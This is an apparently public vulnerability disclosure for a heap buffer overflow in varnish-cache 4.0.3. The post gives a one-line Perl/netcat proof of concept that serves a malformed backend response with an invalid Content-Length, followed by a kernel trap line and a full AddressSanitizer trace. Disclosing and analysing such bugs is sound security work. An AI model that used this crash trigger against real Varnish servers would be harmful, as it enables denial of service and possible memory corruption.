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Hi there, Latest varnish-cache 4.0.3 (https://www.varnish-cache.org/) seem to have a problem with parsing HTTP responses from backend. The following example response will trigger a heap buffer overflow : -- cut -- perl -e 'print "HTTP/1.1 200 OK\r\nContent-Length: dupa" . "\n" x 15855 . "A" x 10000 . "\n" ' | nc -l 1098 -- cut -- assuming your config uses localhost:1098 as backend. meh kernel: [2045151.042468] traps: varnishd[25794] general protection ip:42982c sp:7eff082db2d0 error:0 in varnishd[400000+ac000] Original asan report : --- cut --- ================================================================= ==12962==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900cb24200 at pc 0x7feffed5a87b bp 0x7fef7b213fa0 sp 0x7fef7b213760 WRITE of size 32029 at 0x62900cb24200 thread T596 #0 0x7feffed5a87a (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e87a) #1 0x7feffff11849 in HTTP1_Read (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xe8849) #2 0x7feffff04727 in v1f_pull_straight (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xdb727) #3 0x7fefffee1a35 in vfp_call (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8a35) #4 0x7fefffee210f in VFP_Suck (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb910f) #5 0x7fefffee2ee3 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9ee3) #6 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #7 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #8 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #9 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #10 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #11 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) #12 0x7feffd9fa00c in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xfb00c) 0x62900cb24200 is located 0 bytes to the right of 16384-byte region [0x62900cb20200,0x62900cb24200) allocated by thread T596 here: #0 0x7feffed807df in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x547df) #1 0x7feffffbe5e1 in sma_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1955e1) #2 0x7feffffb04c9 in stv_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1874c9) #3 0x7feffffb0e7b in stv_alloc_obj (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x187e7b) #4 0x7feffffb39ee in STV_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x18a9ee) #5 0x7fefffee1696 in VFP_GetStorage (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8696) #6 0x7fefffee2953 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9953) #7 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #8 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #9 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #10 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #11 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #12 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T596 created by T16 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2d18d in pool_breed (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10418d) #2 0x7feffff2dd3f in pool_herder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x104d3f) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T16 created by T6 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f043 in pool_mkpool (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106043) #2 0x7feffff2f527 in pool_poolherder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106527) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T6 created by T0 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f8e1 in Pool_Init (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1068e1) #2 0x7feffff1a4cb in child_main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xf14cb) #3 0x7feffff91402 in mgt_launch_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x168402) #4 0x7feffff92e06 in mgt_reap_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x169e06) #5 0x7feffff90541 in child_listener (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x167541) #6 0x7feffeb09ce7 in vev_schedule_one (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x24ce7) #7 0x7feffeb084b8 in vev_schedule (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x234b8) #8 0x7feffff93ff6 in MGT_Run (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x16aff6) #9 0x7feffff9db1f in main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x174b1f) #10 0x7feffd920ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ?? Shadow bytes around the buggy address: 0x0c528195c7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c528195c840:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa --- cut --- Our understanding after previous reports is that varnish security model assumes full trust of the backend, so this is not considered a security problem (but we do). Best regards, Filip Palian Akat1 Marek Kroemeke Source

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